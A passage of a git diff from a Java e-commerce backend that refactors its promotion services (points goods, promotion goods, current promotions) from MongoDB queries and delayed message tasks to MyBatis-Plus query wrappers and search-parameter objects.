Query query = searchParams.mongoQuery(); - if (page != null) { - PromotionTools.mongoQueryPageParam(query, page); - pointsGoodsPage.setSize(page.getPageSize()); - pointsGoodsPage.setCurrent(page.getPageNumber()); - } - List pointsGoodsVOS = this.mongoTemplate.find(query, PointsGoodsVO.class); - pointsGoodsPage.setRecords(pointsGoodsVOS); - pointsGoodsPage.setTotal(this.mongoTemplate.count(searchParams.mongoQuery(), PointsGoodsVO.class)); - return pointsGoodsPage; + PointsGoodsVO pointsGoodsVO = new PointsGoodsVO(); + BeanUtils.copyProperties(pointsGoods, pointsGoodsVO); + pointsGoodsVO.setGoodsSku(this.checkSkuExist(pointsGoods.getSkuId())); + return pointsGoodsVO; } /** - * 添加积分商品mq任务 + * 检查促销参数 * - * @param pointsGoods 积分商品信息 + * @param promotions 促销实体 */ - private void addPointsGoodsPromotionTask(PointsGoodsVO pointsGoods) { - PromotionMessage promotionMessage = new PromotionMessage(pointsGoods.getId(), PromotionTypeEnum.POINTS_GOODS.name(), - PromotionStatusEnum.START.name(), - pointsGoods.getStartTime(), pointsGoods.getEndTime()); - TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, - promotionMessage.getStartTime().getTime(), - promotionMessage, - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - rocketmqCustomProperties.getPromotionTopic()); - //发送促销活动开始的延时任务 - this.timeTrigger.addDelay(timeTriggerMsg); + @Override + public void checkPromotions(PointsGoods promotions) { + super.checkPromotions(promotions); + GoodsSku goodsSku = this.checkSkuExist(promotions.getSkuId()); + if (promotions.getActiveStock() > goodsSku.getQuantity()) { + throw new ServiceException(ResultCode.POINT_GOODS_ACTIVE_STOCK_ERROR); + } } /** - * 检查mongo中积分商品存在 + * 检查促销状态 + * + * @param promotions 促销实体 + */ + @Override + public void checkStatus(PointsGoods promotions) { + super.checkStatus(promotions); + } + + /** + * 更新促销商品信息 + * + * @param promotions 促销实体 + */ + @Override + public void updatePromotionsGoods(PointsGoods promotions) { + this.promotionGoodsService.remove(new LambdaQueryWrapper().eq(PromotionGoods::getPromotionId, promotions.getId())); + this.promotionGoodsService.save(new PromotionGoods(promotions, this.checkSkuExist(promotions.getSkuId()))); + } + + /** + * 更新促销信息到商品索引 + * + * @param promotions 促销实体 + */ + @Override + public void updateEsGoodsIndex(PointsGoods promotions) { + Map query = MapUtil.builder(new HashMap()).put("id", promotions.getSkuId()).build(); + Map update = MapUtil.builder(new HashMap()).put("points", promotions.getPoints()).build(); + this.goodsIndexService.updateIndex(query, update); + } + + /** + * 当前促销类型 + * + * @return 当前促销类型 + */ + @Override + public PromotionTypeEnum getPromotionType() { + return PromotionTypeEnum.POINTS_GOODS; + } + + /** + * 检查积分商品存在 * * @param id 积分商品id * @return 积分商品信息 */ - private PointsGoodsVO checkExist(String id) { - PointsGoodsVO pointsGoodsVO = this.mongoTemplate.findById(id, PointsGoodsVO.class); - if (pointsGoodsVO == null) { + private PointsGoods checkExist(String id) { + PointsGoods pointsGoods = this.getById(id); + if (pointsGoods == null) { log.error("id为" + id + "的积分商品不存在!"); throw new ServiceException(); } - return pointsGoodsVO; + return pointsGoods; } /** @@ -285,13 +242,15 @@ public class PointsGoodsServiceImpl extends ServiceImpl queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(PointsGoods::getSkuId, skuId); - if (StrUtil.isNotEmpty(id)) { - queryWrapper.ne(PointsGoods::getId, id); + QueryWrapper queryWrapper = new QueryWrapper<>(); + queryWrapper.eq("sku_id", skuId); + if (CharSequenceUtil.isNotEmpty(id)) { + queryWrapper.ne("id", id); } - queryWrapper.ne(PointsGoods::getPromotionStatus, PromotionStatusEnum.END.name()); - return this.getOne(queryWrapper); + queryWrapper.and(i -> i + .or(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)) + .or(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.NEW))); + return this.getOne(queryWrapper, false); } /** @@ -309,15 +268,4 @@ public class PointsGoodsServiceImpl extends ServiceImpl goodsSku.getQuantity()) { - throw new ServiceException(ResultCode.POINT_GOODS_ACTIVE_STOCK_ERROR); - } - } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java index fc3de46f..6bac9eaf 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java @@ -5,38 +5,32 @@ import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.common.utils.BeanUtil; import cn.lili.common.utils.DateUtil; import cn.lili.common.vo.PageVO; import cn.lili.modules.goods.entity.dos.GoodsSku; -import cn.lili.modules.goods.entity.dto.GoodsSearchParams; -import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; -import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.order.cart.entity.vo.CartSkuVO; -import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; +import cn.lili.modules.promotion.entity.dos.Coupon; +import cn.lili.modules.promotion.entity.dos.FullDiscount; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dos.SeckillApply; -import cn.lili.modules.promotion.entity.dto.BasePromotion; -import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO; -import cn.lili.modules.promotion.entity.enums.CouponScopeTypeEnum; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; -import cn.lili.modules.promotion.entity.vos.CouponVO; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; +import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; -import cn.lili.modules.promotion.entity.vos.SeckillVO; import cn.lili.modules.promotion.mapper.PromotionGoodsMapper; +import cn.lili.modules.promotion.service.CouponService; +import cn.lili.modules.promotion.service.FullDiscountService; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.service.SeckillApplyService; +import cn.lili.modules.promotion.tools.PromotionTools; import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; import org.springframework.data.redis.core.StringRedisTemplate; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; @@ -53,14 +47,8 @@ import java.util.List; */ @Service @Transactional(rollbackFor = Exception.class) - public class PromotionGoodsServiceImpl extends ServiceImpl implements PromotionGoodsService { - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; /** * Redis */ @@ -77,14 +65,11 @@ public class PromotionGoodsServiceImpl extends ServiceImpl promotionGoodsList, PromotionTypeEnum promotionType) { - for (PromotionGoods promotionGoods : promotionGoodsList) { - promotionGoods.setDeleteFlag(true); - } - updateBatchById(promotionGoodsList); - } + @Autowired + private CouponService couponService; @Override public List findNowSkuPromotion(String skuId) { @@ -93,45 +78,36 @@ public class PromotionGoodsServiceImpl extends ServiceImpl(); } + QueryWrapper queryWrapper = new QueryWrapper<>(); - List promotionGoods = new ArrayList<>(this.list(new LambdaQueryWrapper() - .eq(PromotionGoods::getSkuId, skuId) -// .ge(PromotionGoods::getStartTime, new Date()) - .eq(PromotionGoods::getPromotionStatus, PromotionStatusEnum.START.name()))); + queryWrapper.eq("sku_id", skuId); + queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)); + + List promotionGoods = this.list(queryWrapper); + BasePromotionsSearchParams searchParams = new BasePromotionsSearchParams(); + searchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); + searchParams.setScopeType(PromotionsScopeTypeEnum.ALL.name()); //单独检查,添加适用于全品类的满优惠活动 - Query query = new Query(); - query.addCriteria(Criteria.where("promotionStatus").is(PromotionStatusEnum.START.name())); - query.addCriteria(Criteria.where("startTime").lte(System.currentTimeMillis())); - List fullDiscountVOS = mongoTemplate.find(query, FullDiscountVO.class); - for (FullDiscountVO fullDiscountVO : fullDiscountVOS) { - if (fullDiscountVO.getPromotionGoodsList() == null && - sku.getStoreId().equals(fullDiscountVO.getStoreId())) { - PromotionGoods p = new PromotionGoods(sku); - p.setPromotionId(fullDiscountVO.getId()); - p.setPromotionStatus(fullDiscountVO.getPromotionStatus()); - p.setPromotionType(PromotionTypeEnum.FULL_DISCOUNT.name()); - p.setStartTime(fullDiscountVO.getStartTime()); - p.setEndTime(fullDiscountVO.getEndTime()); - promotionGoods.add(p); - } + List fullDiscountVOS = this.fullDiscountService.listFindAll(searchParams); + for (FullDiscount fullDiscountVO : fullDiscountVOS) { + PromotionGoods p = new PromotionGoods(sku); + p.setPromotionId(fullDiscountVO.getId()); + p.setPromotionType(PromotionTypeEnum.FULL_DISCOUNT.name()); + p.setStartTime(fullDiscountVO.getStartTime()); + p.setEndTime(fullDiscountVO.getEndTime()); + promotionGoods.add(p); } //单独检查,添加适用于全品类的全平台或属于当前店铺的优惠券活动 - List couponVOS = mongoTemplate.find(query, CouponVO.class); - for (CouponVO couponVO : couponVOS) { - boolean aLLScopeType = (couponVO.getPromotionGoodsList() == null - && couponVO.getScopeType().equals(CouponScopeTypeEnum.ALL.name()) - && (("0").equals(couponVO.getStoreId()) || sku.getStoreId().equals(couponVO.getStoreId()))); - if (aLLScopeType) { - PromotionGoods p = new PromotionGoods(sku); - p.setPromotionId(couponVO.getId()); - p.setPromotionStatus(couponVO.getPromotionStatus()); - p.setPromotionType(PromotionTypeEnum.COUPON.name()); - p.setStartTime(couponVO.getStartTime()); - p.setEndTime(couponVO.getEndTime()); - promotionGoods.add(p); - } + List couponVOS = this.couponService.listFindAll(searchParams); + for (Coupon couponVO : couponVOS) { + PromotionGoods p = new PromotionGoods(sku); + p.setPromotionId(couponVO.getId()); + p.setPromotionType(PromotionTypeEnum.COUPON.name()); + p.setStartTime(couponVO.getStartTime()); + p.setEndTime(couponVO.getEndTime()); + promotionGoods.add(p); } return promotionGoods; } @@ -149,76 +125,63 @@ public class PromotionGoodsServiceImpl extends ServiceImpl getPromotionGoods(String skuId) { - long currTime = DateUtil.getDateline(); - String currDate = DateUtil.toString(currTime, DateUtil.STANDARD_DATE_NO_UNDERLINE_FORMAT); - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper() - .eq(PromotionGoods::getSkuId, skuId) - .le(PromotionGoods::getStartTime, currTime) - .ge(PromotionGoods::getEndTime, currDate) - .ne(PromotionGoods::getPromotionType, PromotionTypeEnum.PINTUAN.name()) - .ne(PromotionGoods::getPromotionType, PromotionTypeEnum.SECKILL.name()); - return this.baseMapper.selectList(queryWrapper); + public IPage pageFindAll(PromotionGoodsSearchParams searchParams, PageVO pageVo) { + return this.page(PageUtil.initPage(pageVo), searchParams.queryWrapper()); } + /** + * 获取促销商品信息 + * + * @param searchParams 查询参数 + * @return 促销商品列表 + */ @Override - public IPage getPromotionGoods(PromotionGoodsSearchParams searchParams, PageVO pageVo) { - IPage promotionGoodsPage = new Page<>(); - LambdaQueryWrapper queryChainWrapper = searchParams.queryWrapper(); - List promotionGoodsList = new ArrayList<>(); - Page page = this.page(PageUtil.initPage(pageVo), queryChainWrapper); - promotionGoodsPage.setSize(page.getSize()); - promotionGoodsPage.setTotal(page.getTotal()); - promotionGoodsPage.setPages(page.getPages()); - for (PromotionGoods promotionGoods : page.getRecords()) { - PromotionGoodsDTO promotionGoodsDTO = this.wrapperPromotionGoodsDTO(promotionGoods); - promotionGoodsList.add(promotionGoodsDTO); - } - promotionGoodsPage.setRecords(promotionGoodsList); - return promotionGoodsPage; + public List listFindAll(PromotionGoodsSearchParams searchParams) { + return this.list(searchParams.queryWrapper()); } + /** + * 获取促销商品信息 + * + * @param searchParams 查询参数 + * @return 促销商品信息 + */ @Override - public IPage getCurrentPromotionGoods(String promotionType, PageVO pageVo) { - IPage promotionGoodsPage = new Page<>(); - promotionGoodsPage.setSize(pageVo.getPageSize()); - promotionGoodsPage.setCurrent(pageVo.getPageNumber()); - Date now = new Date(); - Query query = new Query(); - query.addCriteria(Criteria.where("startTime").lte(now)); - query.addCriteria(Criteria.where("endTime").gte(now)); - List promotionGoodsDTOList = new ArrayList<>(); - int total = 0; - //根据促销活动类型的不同,将满足当前促销活动类型且正在进行的促销商品返回出去 - switch (PromotionTypeEnum.valueOf(promotionType)) { - case FULL_DISCOUNT: - List fullDiscountVOS = this.mongoTemplate.find(query, FullDiscountVO.class); - this.setFullDiscountPromotionGoods(promotionGoodsPage, fullDiscountVOS, pageVo); - break; - case COUPON: - List couponVOS = this.mongoTemplate.find(query, CouponVO.class); - for (CouponVO couponVO : couponVOS) { - if (couponVO != null && couponVO.getPromotionGoodsList() == null) { - IPage page = this.getAllGoodsSkuToPromotionGoodsByPage(couponVO.getStoreId(), couponVO, pageVo); - promotionGoodsDTOList.addAll(page.getRecords()); - total += page.getTotal(); - } - } - promotionGoodsPage.setRecords(promotionGoodsDTOList.subList(0, pageVo.getPageSize())); - promotionGoodsPage.setTotal(total); - break; - case SECKILL: - case POINTS_GOODS: - return promotionGoodsPage; - default: - break; - } - if (promotionGoodsPage.getRecords() == null || promotionGoodsPage.getRecords().isEmpty()) { - promotionGoodsPage = this.getGoodsSkuToPromotionGoodsByPage(promotionType, pageVo); - } - return promotionGoodsPage; + public PromotionGoods getPromotionsGoods(PromotionGoodsSearchParams searchParams) { + return this.getOne(searchParams.queryWrapper(), false); } + /** + * 获取当前有效时间特定促销类型的促销商品信息 + * + * @param skuId 查询参数 + * @param promotionTypes 特定促销类型 + * @return 促销商品信息 + */ + @Override + public PromotionGoods getValidPromotionsGoods(String skuId, List promotionTypes) { + QueryWrapper queryWrapper = new QueryWrapper<>(); + queryWrapper.eq("sku_id", skuId); + queryWrapper.in("promotion_type", promotionTypes); + queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)); + return this.getOne(queryWrapper, false); + } + + /** + * 获取当前有效时间特定促销类型的促销商品价格 + * + * @param skuId skuId + * @param promotionTypes 特定促销类型 + * @return 促销商品价格 + */ + @Override + public Double getValidPromotionsGoodsPrice(String skuId, List promotionTypes) { + QueryWrapper queryWrapper = new QueryWrapper<>(); + queryWrapper.eq("sku_id", skuId); + queryWrapper.in("promotion_type", promotionTypes); + queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)); + return this.baseMapper.selectPromotionsGoodsPrice(queryWrapper); + } @Override public Integer findInnerOverlapPromotionGoods(String promotionType, String skuId, Date startTime, Date endTime, String promotionId) { @@ -249,7 +212,11 @@ public class PromotionGoodsServiceImpl extends ServiceImpl getPromotionGoodsStock(PromotionTypeEnum typeEnum, String promotionId, List skuId) { + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionType(typeEnum.name()); + searchParams.setPromotionId(promotionId); + searchParams.setSkuIds(skuId); //获取促销商品,如果不存在促销商品,则返回0 - List promotionGoods = this.getPromotionGoods(typeEnum, promotionId, skuId); + List promotionGoods = this.listFindAll(searchParams); //接收数据 List result = new ArrayList<>(skuId.size()); for (String sid : skuId) { @@ -281,37 +252,6 @@ public class PromotionGoodsServiceImpl extends ServiceImpl queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(PromotionGoods::getPromotionType, typeEnum.name()).eq(PromotionGoods::getPromotionId, promotionId).eq(PromotionGoods::getSkuId, skuId); - return this.getOne(queryWrapper); - } - - /** - * 根据条件获取促销活动商品详情 - * - * @param typeEnum 促销类型 - * @param promotionId 促销活动id - * @param skuId 商品skuId - * @return 促销活动商品详情 - */ - @Override - public List getPromotionGoods(PromotionTypeEnum typeEnum, String promotionId, List skuId) { - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(PromotionGoods::getPromotionType, typeEnum.name()).eq(PromotionGoods::getPromotionId, promotionId) - .in(PromotionGoods::getSkuId, skuId); - return this.list(queryWrapper); - } - /** * 更新促销活动商品库存 * @@ -326,7 +266,7 @@ public class PromotionGoodsServiceImpl extends ServiceImpl queryWrapper = new LambdaQueryWrapper<>(); queryWrapper.eq(SeckillApply::getSeckillId, promotionId).eq(SeckillApply::getSkuId, skuId); - SeckillApply seckillApply = seckillApplyService.getOne(queryWrapper); + SeckillApply seckillApply = this.seckillApplyService.getOne(queryWrapper, false); if (seckillApply == null) { throw new ServiceException(ResultCode.SECKILL_NOT_EXIST_ERROR); } @@ -334,15 +274,6 @@ public class PromotionGoodsServiceImpl extends ServiceImpl updateWrapper = new LambdaUpdateWrapper<>(); updateWrapper.eq(PromotionGoods::getPromotionType, typeEnum.name()).eq(PromotionGoods::getPromotionId, promotionId).eq(PromotionGoods::getSkuId, skuId); @@ -353,80 +284,52 @@ public class PromotionGoodsServiceImpl extends ServiceImpl promotionGoodsPage, List fullDiscountVOS, PageVO pageVo) { - List promotionGoodsDTOList = new ArrayList<>(); - int total = 0; - for (FullDiscountVO fullDiscountVO : fullDiscountVOS) { - if (fullDiscountVO != null && fullDiscountVO.getPromotionGoodsList() == null) { - IPage page = this.getAllGoodsSkuToPromotionGoodsByPage(fullDiscountVO.getStoreId(), fullDiscountVO, pageVo); - promotionGoodsDTOList.addAll(page.getRecords()); - total += page.getTotal(); - } - } - if (!fullDiscountVOS.isEmpty() && !promotionGoodsDTOList.isEmpty()) { - promotionGoodsPage.setRecords(promotionGoodsDTOList.subList(0, pageVo.getPageSize())); - promotionGoodsPage.setTotal(total); - } + /** + * 更新促销活动商品库存 + * + * @param promotionGoods 促销信息 + */ + @Override + public void updatePromotionGoodsByPromotions(PromotionGoods promotionGoods) { + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + queryWrapper.eq(PromotionGoods::getPromotionId, promotionGoods.getPromotionId()); + this.remove(queryWrapper); + this.save(promotionGoods); } - private IPage getGoodsSkuToPromotionGoodsByPage(String promotionType, PageVO pageVo) { - Date date = new Date(); - IPage promotionGoodsPage = new Page<>(); - LambdaQueryWrapper queryChainWrapper = new LambdaQueryWrapper() - .eq(PromotionGoods::getPromotionType, PromotionTypeEnum.valueOf(promotionType).name()) - .le(PromotionGoods::getStartTime, date).ge(PromotionGoods::getEndTime, date); - List promotionGoodsList = new ArrayList<>(); - Page page = this.page(PageUtil.initPage(pageVo), queryChainWrapper); - promotionGoodsPage.setTotal(page.getTotal()); - promotionGoodsPage.setPages(page.getPages()); - List records = page.getRecords(); - for (PromotionGoods promotionGoods : records) { - PromotionGoodsDTO promotionGoodsDTO = this.wrapperPromotionGoodsDTO(promotionGoods); - promotionGoodsList.add(promotionGoodsDTO); - } - promotionGoodsPage.setRecords(promotionGoodsList); - return promotionGoodsPage; + /** + * 删除促销商品 + * + * @param promotionId 促销活动id + * @param skuIds skuId + */ + @Override + public void deletePromotionGoods(String promotionId, List skuIds) { + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper() + .eq(PromotionGoods::getPromotionId, promotionId).in(PromotionGoods::getSkuId, skuIds); + this.remove(queryWrapper); } - private PromotionGoodsDTO wrapperPromotionGoodsDTO(PromotionGoods promotionGoods) { - PromotionGoodsDTO promotionGoodsDTO = new PromotionGoodsDTO(); - GoodsSku goodsSku = goodsSkuService.getById(promotionGoods.getSkuId()); - BeanUtil.copyProperties(promotionGoods, promotionGoodsDTO); - if (goodsSku != null) { - promotionGoodsDTO.setGoodsId(goodsSku.getGoodsId()); - promotionGoodsDTO.setGoodsImage(goodsSku.getThumbnail()); - promotionGoodsDTO.setGoodsName(goodsSku.getGoodsName()); - promotionGoodsDTO.setOriginPrice(goodsSku.getPrice()); - } - return promotionGoodsDTO; + /** + * 删除促销促销商品 + * + * @param promotionIds 促销活动id + */ + @Override + public void deletePromotionGoods(List promotionIds) { + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper() + .in(PromotionGoods::getPromotionId, promotionIds); + this.remove(queryWrapper); } - private IPage getAllGoodsSkuToPromotionGoodsByPage(String storeId, BasePromotion promotion, PageVO pageVo) { - IPage promotionGoodsPage = new Page<>(); - List promotionGoodsList = new ArrayList<>(); - GoodsSearchParams searchParams = new GoodsSearchParams(); - searchParams.setStoreId(storeId); - searchParams.setMarketEnable(GoodsStatusEnum.UPPER.name()); - searchParams.setIsAuth(GoodsAuthEnum.PASS.name()); - searchParams.setPageNumber(pageVo.getPageNumber()); - searchParams.setPageSize(pageVo.getPageSize()); - searchParams.setSort(pageVo.getSort()); - searchParams.setOrder(pageVo.getOrder()); - IPage goodsSkuByPage = goodsSkuService.getGoodsSkuByPage(searchParams); - //将查询到的商品sku转换为促销商品 - for (GoodsSku goodsSku : goodsSkuByPage.getRecords()) { - PromotionGoodsDTO promotionGoods = new PromotionGoodsDTO(goodsSku); - promotionGoods.setGoodsImage(goodsSku.getThumbnail()); - promotionGoods.setStartTime(promotion.getStartTime()); - promotionGoods.setEndTime(promotion.getEndTime()); - promotionGoods.setTitle(promotion.getPromotionName()); - promotionGoodsList.add(promotionGoods); - } - promotionGoodsPage.setSize(goodsSkuByPage.getSize()); - promotionGoodsPage.setTotal(goodsSkuByPage.getTotal()); - promotionGoodsPage.setPages(goodsSkuByPage.getPages()); - promotionGoodsPage.setRecords(promotionGoodsList); - return promotionGoodsPage; + /** + * 根据参数删除促销商品 + * + * @param searchParams 查询参数 + */ + @Override + public void deletePromotionGoods(PromotionGoodsSearchParams searchParams) { + this.remove(searchParams.queryWrapper()); } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java index 46ce984e..45b8a105 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java @@ -1,37 +1,22 @@ package cn.lili.modules.promotion.serviceimpl; -import cn.hutool.core.date.DateTime; -import cn.hutool.core.date.DateUtil; -import cn.hutool.core.util.ObjectUtil; -import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; -import cn.lili.common.enums.ResultCode; -import cn.lili.common.exception.ServiceException; -import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; +import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.promotion.entity.dos.*; -import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; -import cn.lili.modules.promotion.entity.enums.*; -import cn.lili.modules.promotion.entity.vos.CouponVO; -import cn.lili.modules.promotion.entity.vos.PintuanVO; -import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; -import cn.lili.modules.promotion.entity.vos.SeckillVO; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; +import cn.lili.modules.promotion.entity.vos.*; import cn.lili.modules.promotion.service.*; import cn.lili.modules.search.entity.dos.EsGoodsIndex; -import cn.lili.modules.search.service.EsGoodsIndexService; -import cn.lili.trigger.message.PromotionMessage; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; -import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; -import java.util.*; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; /** * 促销业务层实现 @@ -43,11 +28,6 @@ import java.util.*; @Service @Transactional(rollbackFor = Exception.class) public class PromotionServiceImpl implements PromotionService { - /** - * 会员优惠券 - */ - @Autowired - private MemberCouponService memberCouponService; /** * 秒杀 */ @@ -83,66 +63,10 @@ public class PromotionServiceImpl implements PromotionService { */ @Autowired private PointsGoodsService pointsGoodsService; - /** - * 优惠券活动 - */ - @Autowired - private CouponActivityService couponActivityService; - /** - * ES商品 - */ - @Autowired - private EsGoodsIndexService goodsIndexService; - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; - @Autowired - private KanjiaActivityGoodsService kanJiaActivityGoodsService; + @Autowired + private GoodsSkuService goodsSkuService; - @Override - public boolean updatePromotionStatus(PromotionMessage promotionMessage) { - PromotionTypeEnum promotionTypeEnum = PromotionTypeEnum.valueOf(promotionMessage.getPromotionType()); - String esPromotionKey = promotionTypeEnum + "-" + promotionMessage.getPromotionId(); - log.info("更新促销活动状态:{}", promotionMessage); - boolean result = false; - switch (promotionTypeEnum) { - //满减 - case FULL_DISCOUNT: - result = this.updateFullDiscount(promotionMessage, esPromotionKey, promotionTypeEnum); - break; - //秒杀 - case SECKILL: - result = this.updateSeckill(promotionMessage, promotionTypeEnum); - break; - //拼团 - case PINTUAN: - result = this.updatePintuan(promotionMessage, esPromotionKey, promotionTypeEnum); - break; - //优惠券 - case COUPON: - result = this.updateCoupon(promotionMessage, esPromotionKey, promotionTypeEnum); - break; - //积分商品 - case POINTS_GOODS: - result = this.updatePointsGoods(promotionMessage, promotionTypeEnum); - break; - //砍价商品商品 - case KANJIA: - result = this.updateKanjiaGoods(promotionMessage, promotionTypeEnum); - break; - //优惠券活动 - case COUPON_ACTIVITY: - result = this.updateCouponActivity(promotionMessage, promotionTypeEnum); - break; - default: - break; - } - this.updatePromotionGoods(promotionMessage.getPromotionId(), promotionMessage.getPromotionStatus()); - return result; - } /** * 获取当前进行的所有促销活动信息 @@ -152,26 +76,29 @@ public class PromotionServiceImpl implements PromotionService { @Override public Map getCurrentPromotion() { Map resultMap = new HashMap<>(16); - QueryWrapper queryWrapper = new QueryWrapper(); - queryWrapper.eq("promotion_status", PromotionStatusEnum.START.name()); - queryWrapper.ge("start_time", new Date()); - queryWrapper.le("end_time", new Date()); + + SeckillSearchParams seckillSearchParams = new SeckillSearchParams(); + seckillSearchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); //获取当前进行的秒杀活动活动 - List seckillList = seckillService.list(queryWrapper); + List seckillList = seckillService.listFindAll(seckillSearchParams); if (seckillList != null && !seckillList.isEmpty()) { for (Seckill seckill : seckillList) { resultMap.put(PromotionTypeEnum.SECKILL.name(), seckill); } } + FullDiscountSearchParams fullDiscountSearchParams = new FullDiscountSearchParams(); + fullDiscountSearchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); //获取当前进行的满优惠活动 - List fullDiscountList = fullDiscountService.list(queryWrapper); + List fullDiscountList = fullDiscountService.listFindAll(fullDiscountSearchParams); if (fullDiscountList != null && !fullDiscountList.isEmpty()) { for (FullDiscount fullDiscount : fullDiscountList) { resultMap.put(PromotionTypeEnum.FULL_DISCOUNT.name(), fullDiscount); } } + PintuanSearchParams pintuanSearchParams = new PintuanSearchParams(); + pintuanSearchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); //获取当前进行的拼团活动 - List pintuanList = pintuanService.list(queryWrapper); + List pintuanList = pintuanService.listFindAll(pintuanSearchParams); if (pintuanList != null && !pintuanList.isEmpty()) { for (Pintuan pintuan : pintuanList) { resultMap.put(PromotionTypeEnum.PINTUAN.name(), pintuan); @@ -188,35 +115,31 @@ public class PromotionServiceImpl implements PromotionService { */ @Override public Map getGoodsCurrentPromotionMap(EsGoodsIndex index) { - Map promotionMap = new HashMap<>(16); - Query query = new Query(); - query.addCriteria(Criteria.where("deleteFlag").is(false)); - query.addCriteria(Criteria.where("promotionStatus").is(PromotionStatusEnum.START.name())); - query.addCriteria(Criteria.where("endTime").gte(new Date())); - List fullDiscountVOS = mongoTemplate.find(query, FullDiscountVO.class); - for (FullDiscountVO fullDiscountVO : fullDiscountVOS) { - if (fullDiscountVO.getPromotionGoodsList() == null) { - if (index.getStoreId().equals(fullDiscountVO.getStoreId())) { - String fullDiscountKey = PromotionTypeEnum.FULL_DISCOUNT.name() + "-" + fullDiscountVO.getId(); - promotionMap.put(fullDiscountKey, fullDiscountVO); - } + Map promotionMap = new HashMap<>(); + FullDiscountSearchParams fullDiscountSearchParams = new FullDiscountSearchParams(); + fullDiscountSearchParams.setScopeType(PromotionsScopeTypeEnum.ALL.name()); + fullDiscountSearchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); + List fullDiscountVOS = this.fullDiscountService.listFindAll(fullDiscountSearchParams); + for (FullDiscount fullDiscount : fullDiscountVOS) { + if (index.getStoreId().equals(fullDiscount.getStoreId())) { + String fullDiscountKey = PromotionTypeEnum.FULL_DISCOUNT.name() + "-" + fullDiscount.getId(); + promotionMap.put(fullDiscountKey, fullDiscount); } } - List couponVOS = mongoTemplate.find(query, CouponVO.class); - for (CouponVO couponVO : couponVOS) { - if (couponVO.getPromotionGoodsList() == null && 